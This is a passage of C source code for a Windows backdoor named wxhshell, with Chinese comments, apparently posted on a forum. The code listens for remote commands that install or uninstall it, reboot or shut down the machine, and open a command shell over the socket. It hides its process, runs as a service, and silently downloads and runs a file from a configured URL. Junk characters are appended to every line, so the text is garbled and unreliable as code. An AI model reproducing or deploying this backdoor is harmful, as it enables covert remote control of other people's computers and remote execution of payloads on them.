  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); Z=L' [6  
  } Z>7Oez>  
  else { BO#fzq%  
 4O[5,  
    switch(cmd[0]) { IhJ _Yed  
  AA^3P?iD  
  // 帮助 Ni(D[?mZ  
  case '?': { _g0 qpa  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); SdYES5aES  
    break; #:"\6s  
  } 7Aq4YjbX  
  // 安装 /?9e{,\s  
  case 'i': { Yc"G="XP;  
    if(Install()) \@*cj8e  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); F'C]OMBE  
    else 66[yL(*+  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); |2 g }i\  
    break; ) ok_"wB  
    } 7 G~MqnO|  
  // 卸载 &julw;E  
  case 'r': { yV$p(+KkS  
    if(Uninstall()) >Djv8 0  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); Ud*.[GRD~  
    else <$Q&n{  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); w44{~[0d4  
    break; %UV_ 3  
    } UDt.w82  
  // 显示 wxhshell 所在路径 vJtQ&,zG  
  case 'p': { WN?!(r<qA_  
    char svExeFile[MAX_PATH]; %Kw5 b ;  
    strcpy(svExeFile,"\n\r"); ~.VWrHC  
      strcat(svExeFile,ExeFile); =uKK{\+|Y  
        send(wsh,svExeFile,strlen(svExeFile),0); nC_<pq^tr  
    break; A^3cP, L  
    } .: 87B=  
  // 重启 2^[fUzL?  
  case 'b': { -x:Wp*,  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); DS=kSkW^&5  
    if(Boot(REBOOT)) M\enjB7k  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); WxWgY}`  
    else { +ulX(u(,  
    closesocket(wsh); V BIPB  
    ExitThread(0); 96}/;e]@  
    } Nr:%oD_G*  
    break; *yiJw\DRN  
    } FT[wa-b  
  // 关机 `axNeqM  
  case 'd': { zp% MK+x  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); D7sw;{ns  
    if(Boot(SHUTDOWN)) <saS2.4  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); iBV*GW  
    else { }x~|XbG  
    closesocket(wsh); e}(. u1  
    ExitThread(0); $Z.c9rY1  
    } 0=t_ a]+  
    break; d0MX4bhZ  
    } ;=_<\2  
  // 获取shell %/1`"M5ko  
  case 's': { ZH0 ~:  
    CmdShell(wsh); z*zLK[t+  
    closesocket(wsh); MCz +l0  
    ExitThread(0); riFE.;  
    break; kYPowM  
  } "y_$!KY%  
  // 退出 o1GWcxu*\  
  case 'x': { $v-lG(  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); )K8JDP  
    CloseIt(wsh); @ U}fvdft  
    break; 0EPF; Xx  
    } ;#~rd8Z52  
  // 离开 |n01T_Z)P  
  case 'q': { *v8Cj(69  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); v*FCE 1HI  
    closesocket(wsh); */O6cF7  
    WSACleanup(); }eEF/o  
    exit(1); +:/`&LOS-  
    break; lJ}G"RTm  
        } 0kmVP~K  
  } C\$7C5/  
  } "O9uz$  
6CY_8/:zL  
  // 提示信息 @zsr.d6Q  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); <9\_b 6  
} rf1-E57#  
  } V9B $_j4  
B quyPG"  
  return; #<yR:3  
} Bi?.G7>  
Qnr' KbK  
// shell模块句柄 2s|[!:L5  
int CmdShell(SOCKET sock) FIC 2)  
{ y])xP%q2 O  
STARTUPINFO si; }I05&/o.3p  
ZeroMemory(&si,sizeof(si)); z4UeUVfZ}  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; QL_bg:hs  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; ~|l>bf  
PROCESS_INFORMATION ProcessInfo; *Z)`:Gae  
char cmdline[]="cmd"; xCoQ>.4p  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); 4V43(G  
  return 0; 9.vHnMcq  
} -qid.  
|{t}ULc  
// 自身启动模式 ~y B[}BPf  
int StartFromService(void) OM}:1He  
{ {{@3r5K Gl  
typedef struct iCc@N|~  
{ <aL$d7  
  DWORD ExitStatus; T3'dfe U  
  DWORD PebBaseAddress; 6M612   
  DWORD AffinityMask; 7Py8!  
  DWORD BasePriority; `(*5yXC  
  ULONG UniqueProcessId; &W".fRH_O  
  ULONG InheritedFromUniqueProcessId; G>*s+  
}   PROCESS_BASIC_INFORMATION; 9FJU'$FN  
;v8,r#4  
PROCNTQSIP NtQueryInformationProcess;  "}Ya.  
|`:Uww+3  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; hj0uv6t.c  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; x<9|t(  
A/BL{ U}  
  HANDLE             hProcess; JMO"(?  
  PROCESS_BASIC_INFORMATION pbi; - Nplx  
iFS ?nZ~.  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); |iO2,99i  
  if(NULL == hInst ) return 0; Bv3?WW  
s&8QRI.  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); xJc'tT6@  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); W c-P= J*m  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); >Pbd#*  
X Uh)z  
  if (!NtQueryInformationProcess) return 0; NZdQz  
JGH9b!}-1  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); ?A,gDk/#  
  if(!hProcess) return 0; f8'&(-  
9dy"Y~c  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; N \A)P  
aViJ?*  
  CloseHandle(hProcess); ke)3*.Y%C  
eT:%i"C  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); MJ &6 Z*  
if(hProcess==NULL) return 0; +w GE  
Hsx`P  
HMODULE hMod; GD~3RnGQ{  
char procName[255]; D[;6xJ  
unsigned long cbNeeded; ad i5h  
/$I&D}uR`  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); <f{m=Dc  
}Ct_i'Ow  
  CloseHandle(hProcess); \=,+weGw@  
L=zeFn  
if(strstr(procName,"services")) return 1; // 以服务启动 .^P^lQT]>  
shnfH   
  return 0; // 注册表启动 'fawpU|h  
} `=%[  
P{rJG '  
// 主模块 B'atwgI0  
int StartWxhshell(LPSTR lpCmdLine) H\^5>ccU>V  
{ SZvw>=)a  
  SOCKET wsl; "wexG]R=5  
BOOL val=TRUE; mxGvhkj  
  int port=0; *w> /vu  
  struct sockaddr_in door; N|7<*\o  
(WN'wp  
  if(wscfg.ws_autoins) Install(); LF*3Iw|v  
cGOE$nL  
port=atoi(lpCmdLine); R/<  /g=  
P]r"E  
if(port<=0) port=wscfg.ws_port; B:+}^=  
>D<nfG<s Z  
  WSADATA data; Odw SNG  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; sks_>BM  
988aF/c  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   ( 9dV%#G\  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); YfF&: "-NU  
  door.sin_family = AF_INET; BFj@Z'7P  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); ;@v7AF6Hq  
  door.sin_port = htons(port); ]DC]=F.  
3]xnKb|W  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { LUS7-~:F  
closesocket(wsl); SuGlNp>#qm  
return 1; VJHHC.Kz  
} ><`.(Z5c  
K<Ct  
  if(listen(wsl,2) == INVALID_SOCKET) { .9 nsW?  
closesocket(wsl); |[k6X=5  
return 1; Q 7B)t;^  
} $V`O%Sz  
  Wxhshell(wsl); >[ 72]<6  
  WSACleanup(); ]~kqPw<R  
Mt@K01MI%  
return 0; ,,BNUj/:  
-b)p6>G-C  
} ~R!(%j ]  
C. 8>  
// 以NT服务方式启动 8 _`Lx_R  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) :CK,(?t  
{ |a\s}M1  
DWORD   status = 0; /:awPYGH<1  
  DWORD   specificError = 0xfffffff; 7^|3T TK  
UPN2p&gM  
  serviceStatus.dwServiceType     = SERVICE_WIN32; dVe3h.,[v  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; *p.ELI1IC  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; =Ee f  
  serviceStatus.dwWin32ExitCode     = 0; )2rI/=R  
  serviceStatus.dwServiceSpecificExitCode = 0; z{!wQ~ j  
  serviceStatus.dwCheckPoint       = 0; e$F7wto  
  serviceStatus.dwWaitHint       = 0; r OB\u|Pg  
-6t# ?Dkc'  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); IFpmf0;^  
  if (hServiceStatusHandle==0) return; /0SPRf}p  
@&E E/j^  
status = GetLastError(); >(%im :_  
  if (status!=NO_ERROR) }zLe;1Tx  
{ jN5Sc0|b  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; WYaDN:kZf  
    serviceStatus.dwCheckPoint       = 0; 1egryp  
    serviceStatus.dwWaitHint       = 0; X]y3~|K  
    serviceStatus.dwWin32ExitCode     = status; ?>lmLz!e  
    serviceStatus.dwServiceSpecificExitCode = specificError; %@pTEhpF  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); hb? |fi  
    return;  -U*XA  
  } LGod"8~U  
UbQeN  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; rt~X (S  
  serviceStatus.dwCheckPoint       = 0; uc7Y8iO  
  serviceStatus.dwWaitHint       = 0; ?cg+RNI  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); c1:op@t  
} ,LzS"lmmo  
Y`( I};MO  
// 处理NT服务事件,比如:启动、停止 L{gFk{@W  
VOID WINAPI NTServiceHandler(DWORD fdwControl) MgtyO3GUAD  
{ |<BTK_R  
switch(fdwControl) |c >  
{ 'u696ED4  
case SERVICE_CONTROL_STOP: ih~c(&n0  
  serviceStatus.dwWin32ExitCode = 0; I;mtyS  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; ;\#u19  
  serviceStatus.dwCheckPoint   = 0; k?xtZ,n{s  
  serviceStatus.dwWaitHint     = 0; wz6e^ g  
  { Po^2+s(fY  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); >Zmpsa+  
  } @)}Vk  
  return; AKAAb~{  
case SERVICE_CONTROL_PAUSE: u)Y#&qA  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; 7Uj[0Awn  
  break; L<Lu;KnY6  
case SERVICE_CONTROL_CONTINUE: }3?M0:  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; E176O[(V=  
  break; =BGc@:2  
case SERVICE_CONTROL_INTERROGATE: '`3-X];p  
  break; .s2d  
}; &Rn/ c}[{  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); spe9^.SI  
} EG9S? $  
qt;6CzL C  
// 标准应用程序主函数 0tsll1  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) ,;D74h2F  
{ $6'xRUx X  
m9PcDhv  
// 获取操作系统版本 H!45w;,I  
OsIsNt=GetOsVer(); SH`"o  
GetModuleFileName(NULL,ExeFile,MAX_PATH); |fzo$Bq  
*`l>1)B>  
  // 从命令行安装 "&2D6  
  if(strpbrk(lpCmdLine,"iI")) Install(); Dri1A%  
]AHi$Xx  
  // 下载执行文件 YJ75dXc&&  
if(wscfg.ws_downexe) { -rH3rKtf~  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) _<3:vyfdC  
  WinExec(wscfg.ws_filenam,SW_HIDE); Cch1"j<k$  
} [e&$4l IS  
47icy-@kg  
if(!OsIsNt) { m,.d< **  
// 如果时win9x,隐藏进程并且设置为注册表启动 x b_C1n  
HideProc(); PN.=])7T  
StartWxhshell(lpCmdLine); #lB[]2]N  
} x]{h$yI  
else O~t5qnu/}  
  if(StartFromService()) iSsy_ |  
  // 以服务方式启动 liU=5 BL  
  StartServiceCtrlDispatcher(DispatchTable); *y0`P0V|8  
else iT|+<h  
  // 普通方式启动 G! 87F/  
  StartWxhshell(lpCmdLine); )FHaJ*&d  
[J*)r8ys  
return 0; ^qk$W? pX  
}
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只看该作者 1 发表于: 2006-10-10
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